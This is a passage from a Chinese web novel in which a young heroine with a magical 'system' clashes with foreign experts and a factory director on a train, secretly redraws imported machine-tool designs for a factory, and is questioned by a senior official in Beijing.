翻译眨巴眨巴眼，有点怀疑自己是不是刚刚漏说了什么：“花市第一机械厂厂长，秦正。” “花，花市？” 程十一的眼睛瞪溜圆：“你们也是半夜上车来的？” “不是啊，我们是昨天晚上上车的，我们不是从花市上的火车，而是从省城上的车，因为外宾想要去那边看看，所以就开车去了省城。” 翻译不解：“这有什么问题吗？” 原来如此。 程十一没回答他的问题。 难怪她昨天晚上上车的时候根本就没看到过外国人。 不过这不是重点，重点是……王二丫从小长大的城市就是花市啊！ 花市第一机械厂，如果她没记错的话，阮玲玲的爸爸阮兴国好像就是第一机械厂的副厂长吧！ 所以，她这是遇见阮兴国所在机械厂的厂长了？ 啧！ 应该问问阮叔叔和正厂长的关系好不好了，如果不好，没准这次还能帮阮叔叔什么呢！ 正想着，程十一就听见了一个熟悉的声音。 回头看去，她就是一愣。 卧槽，不会吧！要不要这么巧？ 就只是送两个外国人去京都机场而已，花市第一机械厂不仅有厂长亲自送机，竟然连副厂长都跟着来了？ 此时程十一看到的那个熟悉身影不是别人，正是阮兴国。 阮兴国正在和身边随行的工作人员说话，倒是没注意到前面不远处的那个瘦小身影。 等到他抬头去找外宾所在的铺位时，这才察觉到有人看自己，寻着感觉看过去，就和一双乌溜溜的大眼睛对上了。 “十一？” 阮兴国怎么都没想到竟然会在火车上看到程十一，尤其还是在软卧区域。 要知道他和厂长也只是睡在硬卧区，软卧那就只有两个外国人和翻译他们三个人啊！ “阮叔叔。” 程十一赶紧迎上前。 一旁的秦正看了她一眼，也没说话，径直走进外国人的铺位。 程十一则是一把拉住了阮兴国的衣袖，用眼神示意他借一步说话。 第182章 这帽子可就大了 阮兴国看着秦正和翻译都进去了，自己就算过去了也不好再挤进去，便跟着程十一往后面退了几步，确定周围没人在，他这才低声说道：“赶紧回你的铺位待着，这里现在有点乱。” “阮叔叔，你先听我说。” 程十一摇头：“咱们长话短说，你先告诉我你和你们机械厂的正厂长关系怎么样？” 阮兴国皱眉，没回答。 程十一又快速说道：“那个外国佬是被我打的，他不仅骂人，侮辱咱们国家，侮辱咱们女同志，这样的人我不打难受。” “我听翻译说了，他们是机械厂请来的专家，按照刚刚那个厂长的话，他们的工作已经结束了是吧！他们应该拿捏不了你们了，但是这件事我不会就此放过。我懂他们的语言，就算是对骂，我也不怕他们。” 程十一将事情的经过说了一遍，也说明了自己的立场。 阮兴国听得一愣一愣的。 他是不是昨天晚上没休息好，出现幻听了？ 程十一见他还是没个反应，便道：“你和厂长的关系如果好，那我就不为难他了。但如果你们的关系并不是真的好，阮叔叔，我可以是你的助力。” 说完，程十一俏皮的眨了眨眼。 如果换做是别的小姑娘，阮兴国这会儿只会觉得对方是在胡说八道。 但眼前人是程十一，那他的想法就是另外一回事了。 这小姑娘虽然是借助自己的势才拿下了拖拉机，可那玩意儿也不是便宜货，这小丫头却随身带着好几千块钱，说拿下就拿下，就算是后来的运费她也是拿出来得特别痛快。 想想自家闺女，从小到大也算得上是富养长大的吧，但手里经管的最大额度的钱也没超过两百块，就算这样，都把她给激动得够呛。 这么一对比，阮兴国作为亲爹都不得不承认，自家闺女真不如程十一这个从小苦汤子里泡大的孩子镇定。 再说后面和自家小舅子的合作，他虽然没有亲自去看，但也听妻子描述了，那么多的东西，哪里是一般人一般胆量能办到的？ 现在再听程十一的这番话，阮兴国的心突然就活络起来了。 只见他苦笑微微摇头：“送外宾这种事，一个厂子出一个厂长跟着就够了，你再看看我们，同行里有两个厂长跟着。” 看似驴头不对马嘴的一番话，却让程十一明白过来了。 阮兴国和那个秦正的关系不咋地，甚至可以说是非常的不咋地。 “叔，你要信得过我，就现在给我撑腰。作为回报，12月底之前，我会给玲玲写一封信，里面的内容你到时候看看，对你肯定没坏处。” 突然，程十一降低声音，用更加小的声音补充了句：“绝对能让现有的机床更加完善。” 她是不知道第一机械厂现在用什么样的机床，但没关系，系统知道。 搜出同时期的机床，总结经验，再搜往后几年的机床出来，做出对比，相信这样的数据一定会让阮兴国不会后悔选择帮助自己。 阮兴国心里是有犹豫的，但犹豫也只是那么一两秒钟而已，当即就点头答应下来。 “你放心吧！就算没你说的这些，叔也不会轻易放过那两个外国佬。他们仗着手里有点技术，对咱们趾高气昂不说，还对女同志动手动脚，这样的事绝对不能再放任下去了。” 提起这些，阮兴国心里的火气就是一阵阵的往上冒。 要不是之前机床技术还没有完全学会，再加上秦正一个劲的打压，他就算想要做点什么都不行。 但现在不一样了，这里可不是他们机械厂的地盘，秦正就算想要再用他手里的权利镇压什么，那也得看火车上的工作人员们愿不愿意答应。 更何况他阮兴国也不是什么本事都没有的草包。 车上没有配备专业的医生，但好在在别的车厢里找到了出差的一名医生，过来检查了下后，医生都无语了。 什么事都没有。 一侧脸颊倒是有点红，但因为有胡茬的遮挡，其实也看不太清楚。 听完了医生的诊断结果，车厢里的人全都沉默了。 秦正本来还想教训一下翻译不懂事，可是这样的诊断结果让他也说不出教训的话，只能是将怒火发在了程十一的头上：“你到底是哪里蹦出来的小丫头片子？你知不知道这是外宾？打了他们，那是会引起国际争端的！” “啧！” 程十一抱胸靠在一旁：“他们这么厉害啊！要是真这么厉害，那怎么没看到国家安排十几二十个保镖过来保护他们的安全？再说了，我干什么了就要引起国际争端？” “还是说他们辱骂我的祖国，我不仅不能反驳，还得老老实实点头应承对对对，辱骂我们的女同志，我不仅不能反抗，还得将人推到他怀里任由他为所欲为？” “我说你这位男同志岁数看着不小了，没想到竟然连做人做基本的准则都没有，真是白瞎了国家这么多年对你的栽培了！” “你知道你这种人存在是什么吗？活着浪费空气，死了浪费土地，对不起党，对不起群众，更对不起这一片曾经被这些混蛋掠夺无数资源的土地！” 程十一的语速极快，但吐字有特别清楚，让在场的每一个人都能听清楚。 不等秦正回答，程十一对着阮兴国说道：“阮副厂长，我严重怀疑你们工厂的这个同志的思想有问题，我怀疑他是外国安插在咱们国家的蛀虫！” 这帽子可就大了。 别说是当事人秦正了，就连其他人都是脸色一变。 “你，你胡说八道！老子根正苗红！” 秦正一张脸涨红，嗓门拔高了好几个度。 程十一却撇嘴：“有理不在声高，你连这点道理都不懂？我看你就是敌！特！” 阮兴国在一旁听得都想要给程十一鼓掌叫好了。 这个秦正之前的行事作风最多算是专断，对他和其他副厂长都很防备，可自打有外宾到了工厂后，他那态度简直就是翻天覆地的变化。 真是，他没见过真正的皇宫里的太监是怎么服侍那些所谓的主子的，但是他在看到秦正对待外国人的所作所为后，就感觉那些太监平日里应该就是这样的做派。 第183章 锅就继续扣在王海柱头上吧 秦正被气得浑身都在哆嗦，挥起手就要扇向程十一。 其实他更想将眼前这个死丫头的嘴缝上，再由她说下去，自己怕是浑身是嘴都解释不清了。 可就在他动手的同时，一直站在铺位门口的阮兴国也动了起来。 挺拔的身影直接挡在门口，并且还抬手就抓住了秦正的手腕，厉声呵斥：“秦正，你要干什么？” “我要弄死她个小贱……” 怒火中烧的秦正失去了理智，上来就是一顿咆哮。 可他的话还没等说完，就被阮兴国一拳头打断。 脸颊遭到痛击，秦正踉跄了两步，又因为手腕被阮兴国抓住，倒是没有出现摔倒的情况。 “阮兴国！” 秦正捂着被拳头击中的脸颊，一双赤红的眼睛怒瞪着阮兴国。 阮兴国才不管他的狂吠，一个用力将人从包厢里拽了出来，又是一个巧劲使下去，秦正整个人原地旋转一百八十度，一侧脸颊和身体前面全部贴在了包房外的墙壁上。 “列车长，安排专人守着这两个外国人的房门，等到了京都，我会亲自上报这件事。” 阮兴国的脸上一片严肃，周身散发的气势也与平日里那个和善的阮副厂长完全不同。 程十一看到阮兴国的这一番操作，心里那叫一个舒坦。 动作行云流水，没有半点拖沓，这样的人就算是在末世里也能好好的活下来吧！ 不过程十一很快就舒坦不起来了，因为她也被监控起来了。 作为事情的当事人之一，甚至可以说是主动出手的那一方，程十一这次是肯定躲不过调查组的一番审问了。 对此，程十一倒是不怎么担心，唯一头疼的就是要怎么解释自己会外语这件事。 懂机械的时候还能让王家的那两口子买的那些书来顶锅，可，外语怎么解释呢？ 回到自己的铺位，程十一坐在小桌子旁边，手里拿着个橘子剥了一半的皮后动作就停下来了。 原主也没上几年学，连初中毕业证都没混到手，要说是在学校里学的肯定不现实。 隐约记得学校里面是有英语课的，但一到英语课别说是学生了，就连老师都是带头罢课，时间长了，英语课就成了摆设。 听一些年纪大一些的孩子，比如王佳佳提过，前些年学校里还教俄语，只是后来随着关系紧张，俄语课直接被取消。 真是越回忆，程十一就越牙疼。 该把这口锅甩到谁的头上呢？ 要不还是让王海柱来背锅？反正他们都已经确定了敌！特的身份，案子也定性了，不差再背一口锅吧！ 这么想着，程十一的一颗心又落回了肚子。 对，就这么干了，就是从书上学的，别人爱信不信，反正她自己信就够了。 骗人先骗己嘛！ 剥好橘子，程十一捏了一瓣送到嘴里。 唔，好甜！ 就是她最喜欢的那个味儿！ 正吃得开心，车厢门突然被人敲响，接着被打开。 看着门外站着的乘警，程十一眨眨眼：“有事？” 只见对方没说话，反而侧身让开，接着就是阮兴国走了进来。 阮兴国还不是空手来的，而是端着两个饭盒进来的。 “我刚打的早饭。” 阮兴国说着，将饭盒放在了小桌板上。 程十一一听，眼睛瞬间亮了。 对哦，她都忘了吃早饭这茬了，就说好像少了什么重要环节嘛！ 早饭是半盒馄饨，以及两个水煮蛋。 程十一吃得那叫一个开心，真没想到在火车上还能吃到馄饨，回花市的时候顾青也没说买一份，估摸着是心疼钱吧！ 程十一一边吃，一边在心里吐槽。 阮兴国看着这丫头吃得开心，嘴角不自觉的带出了几分笑意，但他很快又恢复如常，突然问了句：“你会英语？” 突然的发问很容易让人下意识的回答出最真实的回答。 但这是对普通人，对程十一，有影响，但不大。 程十一心里咯噔一下，又立刻淡定的点点头，将吹了好几下的馄饨送到嘴里，嚼嚼嚼，咽下去，一双大眼睛则是不灵灵的看着阮兴国：“以前王海柱教姜美妮的时候我听到的，家里也有这方面的书，我趁着他们不在家的时候偷偷看过，慢慢的也就学会了。” “王海柱？你，养父？” 阮兴国是真没想到答案竟然会是这样。 程十一点头：“是啊！他不仅会英语，还会倭语呢！不过很可惜，我只学会了一点英语。” 倭语，她也会，但不多，而且骂人的话居多，还是不说出来了。 至于其他语言…… 也不能说一句都不会，但会的那几句都不适合展示出来，所以就当做一句都不会吧！ 阮兴国的眉头皱了皱，也想到了自己所调查到的情况。 那个王海柱是鬼子安插在国内的一颗钉子，这么多年来都没人发现过任何异常，这次也是碰巧了才会在对方家里发现了电台，这才露出了狐狸尾巴，将人抓住了。 要是一直都没发现，阮兴国都不敢想象对方如果真的有什么不好的举动，那将会造成多大的损失。 程十一见对方陷入沉思后也不打扰，继续对着勺子里的馄饨吹啊吹。 这馄饨馅儿大，吃起来是真过瘾，汤里加了紫菜，还有香油，喝着真是又鲜亮又香。 也不知道中午还有没有馄饨供应，如果有，她想继续吃馄饨。 嚼嚼嚼。 好吃！ 程十一吃得那叫一个开心。 阮兴国的反应都被她看在了眼里，她直觉阮兴国刚刚虽然有试探自己的意思，但接下来他一定会选择维护自己。 如果对方反水，那也没什么，程十一还是会坚持将会英语的锅扣在王海柱头上。 反正她的发音也没有多标准，多少还有点口音在里面。 真真假假的，这样拼凑在一起反而更像是真相。 好在阮兴国最后的选择是相信程十一，维护程十一，而且接下来路程上的伙食他也都包下来了。 中午，程十一如愿的又吃到了馄饨，另外还有一小份红烧肉和酸辣土豆丝。 份量都不多，但也算是有菜了。 除了不能自由活动外，其他的一切程十一都很满意。 这样的状态一直持续到了火车停在京都火车站。 第184章 不妨碍她能照着抄 下车后的程十一只来得及和秦爱民安排接站的人打个招呼，就立刻跟着阮兴国一行人走了。 没办法，这次被揍的人是外国人，这件事上面肯定是要过问的。 程十一倒是不害怕。 只是这样一来，她回去的车票就得改签了。 人被安排在了一个环境还不错的招待所，并不是什么友谊宾馆之类的地方。 程十一也不挑，不让出门就不出门，待在房间里也没闲着。 找服务员要来了纸笔，闭上眼睛，精神就这么忙活起来了。 先从系统商城里买了倭国在这个时代的相关机床。 之前在火车上和阮兴国了解过，阮兴国他们这次购买的是数控机床，用于制作各种机械零件。 虽说是进口采购，可买回来的也只是人家用剩下的旧机器。 而在当下，这种数控机床做的最好的国家中就有倭国。 程十一直接就选择了倭国技术，先自己尝试攻克，实在攻克不了了，就直接复制粘贴，照着画下来。 就这样，程十一在房间里闷了三天。 被关在招待所里，门口有人把守，同时也会每天按时送饭菜过来。 每次都是人家守卫敲门招呼吃饭，程十一才会想起来自己应该吃饭了。 转眼三天时间过去，阮兴国的人没来，上面也没派其他人过来，程十一就这样闷头研究了三天的数控机床。 这玩意儿对她来说不能说是完全的陌生，但自己所掌握的那点知识和这个时代的机床相比，又有不小的差距。 好在大部分理论知识都是通用的。 三天后，程十一趴在桌子上呼呼大睡，罩着绿色灯罩的台灯还在亮着，而没有拉上窗帘的窗户已经散进大片金色的阳光。 “叩叩叩！” 敲门声响起。 趴在书桌上的人儿咂巴咂巴嘴，扭了个头，继续睡。 敲门声停顿了一会儿再次响起。 桌子上的人依旧没有反应。 这下敲门声变大了，同时还有阮兴国的呼喊声。 程十一这才睁开眼，晃晃悠悠的坐起身，揉了揉眼睛，又打了个哈欠。 听着那敲门声几乎要变成砸门了，她这才站起来，抓着头发去开门，全程没出声。 不是不想出声，而是她刚刚张了张嘴，发现嗓子干得厉害，水杯里也没水了，索性就不辛苦自己。 门刚一打开，程十一就感觉一个黑影冲了进来，赶紧侧身躲开。 只见一个高大的身影扑倒在地上。 程十一：…… 大早上的，这是要干啥？ 地上的人影赶紧爬起来，同时门口的人也说话了：“十一，你这孩子怎么不出个声呢？” 一听是阮兴国的声音，程十一就朝着门外看，还不忘指了指自己的嗓子，有些嘶哑的回道：“嗓子太干了，也没水了。” “你们没给她准备开水？” 阮兴国一听就急了，怒瞪着身边的随行人员。 随行人员一脸茫然：“给了啊！每天早中晚各送一壶热水过来，专门用来饮用的。” “他们给了。” 程十一摆摆手，转身往桌子的方向走，提起暖壶来晃了晃。 还有个底。 算了，不挑了，凑合着喝一口吧！ 喝了水，嗓子干的感觉得到了缓解，程十一就坐在凳子上看走进来的阮兴国：“怎么这个时候过来了？是要我配合检查吗？” 阮兴国摆摆手，身后跟着的人立刻将一个保温桶和一个饭盒拿出来，正要放在桌子上，却听见程十一嗷的一嗓子：“别动！” 这下可把屋里的几个人全都吓了一跳。 只见程十一连水都不喝了，赶紧小心翼翼的将散放在桌面上的纸张一一挑拣出来，确定顺序正确后，这才松了口气，直接将一沓纸递给了阮兴国。 阮兴国不明所以，但还是接了过来。 而程十一已经主动将给自己带过来的早饭接过来。 保温桶里的是鸡汤，饭盒里面的则是已经煮熟的面。 只要将饭盒里的面放进鸡汤里搅合搅合，热乎乎的鸡汤面就成了。 程十一正在努力的搅动面条，就听阮兴国声音颤抖的问：“十一，这，这，这都是你写的？” “不算是我写的，最多算是整理吧！” 程十一挑起一筷子面条吸溜到嘴里，嚼嚼嚼，有些不太清楚的说：“一部分我以前从王家的那些书里看到的，还有一些信件，不过信件里的内容我看不懂，不是咱们的汉字，只有那些图我记下来了。” “好孩子！好孩子！” 阮兴国激动得一张脸都红了，拿着一沓纸原地转圈圈：“这些数据很宝贵，甚至比那之前买的机床都更好！十一，你立功了！” 说着，阮兴国抬起手就要去拍程十一的肩膀。 得亏程十一吃归吃，可没忘了注意周围的情况。 一看到阮兴国抬起手，她赶紧就抱着保温桶跳了起来，躲出去老远，这才说道：“叔，你说话就说话，别动手动脚的啊！我这吃饭呢！要是呛着我了咋办？” “哈哈哈，是是，是叔的错。那你先吃。” 阮兴国也反应过来自己刚刚的动作多吓人了：“吃完饭你就好好睡一觉，下午我让人过来带你去见领导。” “行。” 程十一没拒绝。 这三天她可以说是几乎没怎么沾床，浑身的骨头感觉都快散架了，真是坐火车都没这么累过。 不过看着阮兴国的反应，程十一就知道自己这三天没白忙活。 虽然很多理论知识她也不是很明白，但不妨碍她能照着抄啊！ 可别说什么知识产权不产权的，她有道德，但不多，她也有素质，同样不怎么多。 阮兴国来得快，走得更快，程十一的鸡汤面还没吃完，阮兴国就走了。 程十一吃饱喝足，要了两盆热水，去了洗漱间。 门一关，人直接消失在了原地。 在系统仓库里，程十一好好的泡了个热水澡，又吹干了头发，这才出来。 用要来的两盆热水洗衣服，这样也就有了洗过澡的模样。 做好后直接回到床上，没多会儿便沉沉睡去。 说真的，哪怕只是单纯的照着画图也是真的挺累的。 第185章 程十一敬礼 程十一又是被敲门声叫醒的。 醒来后的程十一就这么仰面躺在床上，看着屋顶发懵。 敲门声只持续了三下就结束了，接着是门外不算大的说话声，听声音是等会儿再敲，不要影响程十一的休息。 程十一眨眨眼，脑子也终于回笼了。 清醒后的程十一不由失笑。 真是来到这个世界后的日子越来越安逸了，让她的警惕心都消失了，竟然睡得这么沉。 早上是这样，现在还是这样。 空间里显示的时间已经是下午两点二十多。 程十一换好了衣服，顺手还将被子叠了，这才拿着个脸盆去开门。 门一开，就看到阮兴国靠在斜对面的墙上和身边的人低声说话。 听到开门声，门外的四个人齐刷刷的朝着程十一看过来。 “十一，醒了？” 阮兴国立刻走过来，一把将程十一的水盆接过来，递给了身边的同行人员：“去打水过来，对了，带一壶暖水。” “是！” 同行人员倒是一点不乐意都没有，当即就小跑离开。 阮兴国就站在门口，一脸姨母笑的看着程十一：“十一啊，饿没饿？叔等下先带你去吃饭，然后咱们去见一下领导，行不？” 程十一眨眨眼。 难不成她用力过猛了，引起了太过轰动的效果？否则这阮兴国的态度变化得是不是有点过于那啥了？ 之前最多也就是长辈对晚辈的那种呵护宠爱，但是现在……咋感觉自己好像变成了对方的小祖宗了呢？ 不过对于这样的安排，程十一倒是一点意见都没有。 她还真饿了。 哪怕自己已经接手这副身体很长一段时间了，平常也没缺吃少喝，可从小就处于亏空状态的身体想要养好，所需要的时间只会更多，过程也会更艰难。 洗漱过后，程十一就跟着阮兴国离开了招待所。 门口停着两辆黑色轿车，程十一和阮兴国坐在了后面的那辆。 除了司机外，副驾驶还坐着个随行的工作人员，而阮兴国就和程十一一起坐在了后排座位。 “十一，等下见了领导不要紧张，领导问什么你就老老实实的回答就行。” 阮兴国低声做着叮嘱，程十一也不是不知好歹的人，虽然她很好奇到底要见什么领导，不过现在显然不好问，程十一已经感觉那个开车的司机通过倒车镜看了好几眼阮兴国了，明摆着是在监视。 “阮叔叔，你放心，我知道的，我一定知无不言言无不尽。” 程十一乖巧得不行。 眼看着车辆开进了个有人站岗值守的大门，过了好一会儿，最后在了一栋二层楼面前，阮兴国终于忍不住了，又说了句：“十一啊，记住你是在花市长大的哈！以后就算你要去哪里发展，花市都是你的老家。” 程十一被这突如其来的一番话说得一头雾水。 这不是明摆着的事吗？阮叔叔为什么还要多此一举的说出来？ 不过程十一倒是没说什么疑惑言论，而是脆生生的答应下来。 看着小丫头就这么下车了，阮兴国的心情那叫一个复杂，也不知道她是真听明白自己最后的那番提示了，还是压根就没听懂。 不过听没听懂都只能这样了。 被人带进了二层楼。 程十一甚至都没机会好好观察一下周围的环境，因为自己的四面分别站着个高大的男人，自己就跟被保护起来的小鸡崽子似的。 一路来到了二楼，走廊里很安静，听不到任何人说话的声音，走到一间不算靠边的办公室前，随着敲门声落下，里面传出一个沉稳的男人声音。 门被推开，屋里明亮的光线让程十一微微眯了眯眼。 啧，这屋的采光真好！有点想将自己的小窝也弄成这么明亮的样子了。 “领导，人带到了。” 站在程十一前面的男人敬了个礼，然后侧身，露出了程十一。 程十一也是第一次看到了阮兴国嘴里提到的领导真容。 是个头发花白的小老头儿，看着个头应该不算高，头发那真是白到一根黑丝都瞧不见，面容也有明显的倦怠，但那双眼睛却犹如雄鹰的眼睛一般，只对上一眼，程十一就感觉心里有种被盯住的感觉。 别说乱瞟了，就连自己的一双脚好像都脱离掌控了似的，就傻傻的站在原地不敢乱动。 这人杀过人，而且还杀过很多人。 视线对上的瞬间，程十一的脑海里就浮现出了这样的认知。 她也杀过人，也见识过别人杀人，更见识过杀人如麻的人的眼神和气势。 眼前这人的气势不能说是杀人如麻，但杀人的数量绝对不少。 再想到这个时代，以及这个小老头儿的大概年纪，不难想象这是一位曾经在战场上厮杀过的英雄。 心里有了这样的认知后，程十一的脊背下意识的挺直了些，对着老头儿的方向抬起了右手。 她本来是想鞠躬问好的，可自己的右手就像是有自己的想法，居然抬了起来，直接停在头顶上。 所以，她敬了个少先队礼？ 程十一自己都被自己的操作震惊到了。 不是，她真不是真心想这样的啊！ 而她这样的举动原本把护送她过来的人吓了一跳，还以为要做出对领导不好的举动，哪曾想……就这？ 老领导也是愣了下，随即哈哈大笑起来，周身的气势也瞬间消散：“你这丫头，哈哈哈，有趣！有趣！” “我，我……” 程十一赶紧放下自己的手，又忍不住抓了抓后脑勺。 一张小脸儿爆红，感觉自己这次真是丢人丢到家了。 “哈哈哈，坐！” 老者站了起来，又做了个请的手势，示意程十一去一旁的沙发坐下。 程十一乖巧的点点头，但没敢先坐下，而是等着对方坐下后，她这才规规矩矩的坐在单人沙发上，一副等着老师问话的好学生模样。 跟着进来的四个人退出去了两个，剩下的两个分别站在老人和程十一的身后，依旧是一副保护的姿态。 当然，在程十一身后的这位则是多了监视的意味。 第186章 有种不太好的预感 此时的程十一说不紧张那是假的，但她也不是那种完全没见过什么世面的小丫头，至少心里不是，表面上该装懵懂紧张还是要装一装。 老者靠坐在沙发里，笑呵呵的说道：“我姓齐，你可以叫我齐老……” “齐爷爷好！” 程十一蹭的一下站起来，对着齐老就鞠了一躬。 动作太迅速，别说是齐老了，就连后面站着的保镖都吓了一跳，差一点就要出手将人按住。 “哈哈哈！” 齐老爽朗大笑，摆摆手：“行行，叫齐爷爷好！坐下说话吧！” 程十一红着脸重新坐下。 这次的脸红是装出来的，主要是突然深鞠躬，有点血液上头。 她表现得越鲁莽，才能越和在火车上动手打人的行为贴切。 齐老看着程十一，眉眼间都带着笑，和刚刚进门时看到的样子完全不同，说话的语调也可以称得上是温柔了，简直就是一个慈祥的老爷爷在和自己的孙女儿聊天。 对方问，程十一就回答，该装犹豫装犹豫，该表现出愤怒就表现出愤怒。 就比如提到王家，程十一就表现得非常复杂。 有恨，有想不通，也有解脱。 提到外国人，那就是一脸的愤怒了。 齐老就这样认真的听着，视线却一直没有从程十一的脸上移开。 以他的眼力来看，这小丫头有隐瞒，不过主要是在针对她那养父母一家的时候才会有隐瞒。 至于提到外国人，那憎恨和愤怒可真是半点假都没掺。 这样的小丫头，对他的胃口！ “听说你对机械方面的事情还有点研究，之前你那个养父专门教过你？” 齐老又把话题转移到了王家人身上。 程十一撇嘴：“他怎么可能教我？要不是街道办和妇联的领导们上家里做思想工作，他们两口子甚至都不想让我上学。” “至于我怎么会的，其实都是看书。王家家里面有不少书，而且家里的卫生又都是我一个人收拾。之前上学的时候没什么时间看书，可是自打他们不让我上学后，我每天除了干活外就只能待在家里，就开始看那些书，慢慢的就看明白了。” 程十一说得那叫一个坦荡。 别人信不信的，她不知道，反正她差一点就要相信了。 齐老点点头，又问：“那他们家里还有什么书？你都看过吗？” “大部分都看过吧！书还是有不少的，甚至我还看到过英文书，甚至是，嗯，那个应该是倭语吧！长得勾勾巴巴的。” 程十一做出回忆状：“英语我倒是能看懂一点点，但是那个勾勾巴巴的我就看不懂了。” 这次说的是真话，她对倭语的了解也就是那么几句，更多的，那是真不懂。 齐老再次点点头，又问：“那些书现在都在去了哪里，你知道吗？” “不知道。” 程十一摇头：“我这次回家后发现家里面什么都没有了，估计东西都被他们卖了或者送人了吧！” 主打的就是一个胡说八道。 齐老盯着程十一看了足足三四秒钟，这才微笑摆手：“行，你回去吧！让小阮带你去尝尝咱们京都的美食。” 这是问完话了？ 程十一当即起身，对着齐老鞠了一躬：“齐爷爷，那我就先走了，您先忙。” 齐老再次摆摆手，程十一这才离开。 一走出二层小楼的门，就看到阮兴国正靠在一辆轿车的副驾驶车门上抽烟。 看到她出来了，阮兴国赶紧将烟扔到地上，用鞋尖碾了碾：“下来了。” “嗯。齐爷爷说让你带我去吃京都的好吃的。” 程十一露出一个甜甜的笑。 阮兴国看向跟在程十一身后的男人，见对方微微点头，这才笑着招呼：“行啊！上车吧！带你去吃烤鸭！” 开车的依旧是之前的司机，阮兴国坐在了副驾驶，程十一就一个人坐在后排座上。 全程，两个人的聊天都是围绕着京都的美食，对于程十一见了齐老后聊了什么，阮兴国是一个字都没有提起过。 晚饭也是三个人一起吃的，吃完后天也黑了，程十一直接被送回招待所。 和之前一样，门口依旧有人守着。 吃饭的时候，阮兴国提起了机床改造的事，程十一则表示让他们先按照图纸制作零件，尝试自己组装，如果他们实在是操作不来，或者是哪里遇到了什么问题，到时候就电话联系。 要是连电话里都说不清楚，程十一再回花市。 阮兴国说其实现在完全可以让程十一回城，却被程十一拒绝了。 王家还有孩子住在孤儿院呢，如果她这个时候回去了，保不齐会不会有人想着再将孩子塞给她照顾。 程十一可不想给自己找麻烦，她宁愿来回坐火车的折腾，也不想去接手照顾三个孩子。 阮兴国听了后也表示了了解。 程十一在京都又待了两天时间，最后一天的晚上被人带着出去吃饭。 饭桌上除了阮兴国和这两天守着程十一的守卫外，还多了个人，正是火车上的那个翻译。 至于秦正那位大厂长，程十一一直没见着，也压根不问，就当从来都没见过那个人似的。 翻译一看到程十一就很激动，抓着程十一的手那叫一个紧啊，眼圈都有些红了。 “小程同志，这次真是多亏你了！” 翻译一张嘴，那声音里都带了几分哽咽：“要不是你之前指点我，提醒我这是在咱们自己的地盘，压根不用惯着那些洋鬼子，我，我这次怕是真的要遭殃了。” “你，冷静，冷静。” 程十一用力的掰开了对方的手，将自己被握着的右手解救出来：“你也是为了顾全大局，所以才会对洋鬼子多了几分容忍。” “唉……” 翻译叹了口气：“说起来还是我的能力不足，如果我的翻译能力能再好一点，哪怕只有你的一半强，这次也不至于会被人欺辱成那样。” 这话让程十一的眉心一跳，突然有种不太好的预感。 总感觉这小子没憋好屁！ 果然，接着她就听见了一番让她差点没暴走的请求。 第187章 她可终于回来了 “小程同志，你愿不愿意来给我当指导老师？就是专门针对我一个人的指导就行。可以吃住都在我家，放心，我家还有空房间，绝对不会委屈你的！” 翻译的一双眼睛亮晶晶的，带着期待。 程十一却听得青筋直跳。 好家伙，让自己去做家教也就算了，竟然还要长住他家，这要是传出去了，她还能有好？ 再说了，也不可能一直都在上课，那不上课的时候自己做什么？真能白吃白喝白住？回头不就得变成他家的免费保姆了？ 程十一真是越想越无语，直接翻了个大白眼：“同志，外面的天还没黑，你想做梦至少也要等天黑的。” “小程同志，我真的是诚心邀请你的！真的！” 翻译有些着急，好像不知道该怎么样才能表现出自己的诚意。 一旁的阮兴国实在是听不下去了，轻咳一声，打断了翻译的话：“王翻译员，还请你慎言，如果你再这样说下去影响了十一的名声，我会考虑向上面举报你的所作所为。” “我没有要影响小程同志的名声啊！” 王翻译员很不服气的反驳：“我是真的非常有诚意……” 程十一抬手做了个制止的动作，又看向另外两个人：“你们觉得他的提议科学吗？” 另外两个人相互对视一眼，然后齐齐摇头。 他们也觉得这件事听起来就怪怪的。 程十一看向王翻译员：“看到了吗？大家都觉得你的提议很有问题，所以，不要再说这件事了。” “可是我……” “再哔哔你就滚出去！” 程十一也不是真的好脾气，没完没了的，真的让人很烦。 王翻译员一下子就哑火了。 他可是亲眼看到过这个瘦小的女同志跳起来去扇外国人的嘴巴子的。 不敢惹，不能惹，不想惹。 没有了王翻译员继续在叭叭叭的说着请求程十一做家教的话后，饭桌上的气氛变得自在起来。 转眼，程十一终于可以登上回黑省的火车了。 送车的人员不算少，甚至还有一名同行人员。 是这几天来一直守在程十一身边的守卫。 不过人家也不算是专门护送程十一，而是对方的老家就是黑省的，这次恰好请假回家，顺便帮程十一提提行李。 两个人一人软卧，一人硬卧。 程十一软卧，和之前一样，依旧是她一个人霸占了一个单间，那感觉是相当的自在。 路上也没有再发生任何不愉快的事情，只是快到吃饭的时间，守卫就会过来，询问程十一想要吃什么后，拿着程十一的饭盒就去买饭。 就这样，火车停在了黑省的省城。 还没下车，光是看着窗户上的冰霜，程十一的心里就感觉到了冷。 一路上的衣服是越穿越多，等下车的时候，程十一已经将自己穿得胖了一倍。 不仅是衣服穿得厚了，贴身的线衣线裤上还被她贴了暖宝宝。 这下是真暖和，不怕冷了。 有了帮手，程十一可也没轻松多少，因为她在京都又买了不少东西。 这次的钱和票就不是陈丽娇借的了，而是阮兴国以花市第一机械厂的名义送的，为的就是感谢程十一无偿贡献了那些设计图纸。 可以名正言顺的买买买，程十一自然不会错过，这就造成了她的行李数量越来越多。 好在已经大队联系好了。 省城这边会有人送她上车，那边会安排人接站。 这样也算是无缝衔接，程十一只需要在车上注意好自己的行李数量就行。 终于，双脚踩在了县城火车站的出站口。 在这里下车的人没几个，算上去站台上接站的人都没超过十个。 来的人是顾草根和耿二牛，以及陈丽娇。 陈丽娇一看到程十一，直接扑过去将人抱住，激动得连蹦带跳：“十一，你可总算回来了！我老想你了！” “哈哈哈，娇娇姐姐，我也想你了。” 程十一回抱住陈丽娇。 原本以为最多十天就能回来，没想到这一出去竟然都小一个月了。 如今黑省的白天气温还算可以，但入了夜那是真的冷。 按照时间算，秋收应该也快到尾声了，应该说是，像是割麦子那样的活已经结束，剩下的都是别的工作。 姐妹俩抱在一起蹦蹦跳跳的转了两圈，顾草根这才笑呵呵的招呼：“小程知青啊，这一路辛苦了，行李都在这里了不？走走走，咱们先出去，回家再说。” 被他这么一说，程十一和陈丽娇也不抱在一起了，赶紧分行李。 大件的，份量沉的，这些都被耿二牛主动接了过去。 肩膀上扛着个大麻袋，两只手还各自提着一个，整个人走路的时候，上半身都是歪着的。 顾草根虽说是大队长，可也不是不下地干活的人，身上也是有把子力气的，这会儿也是扛着一个袋子，手里还提着一个袋子。 程十一就提着皮箱，一手提着个麻袋。 陈丽娇也没空手，不过是两只手抓着一个麻袋。 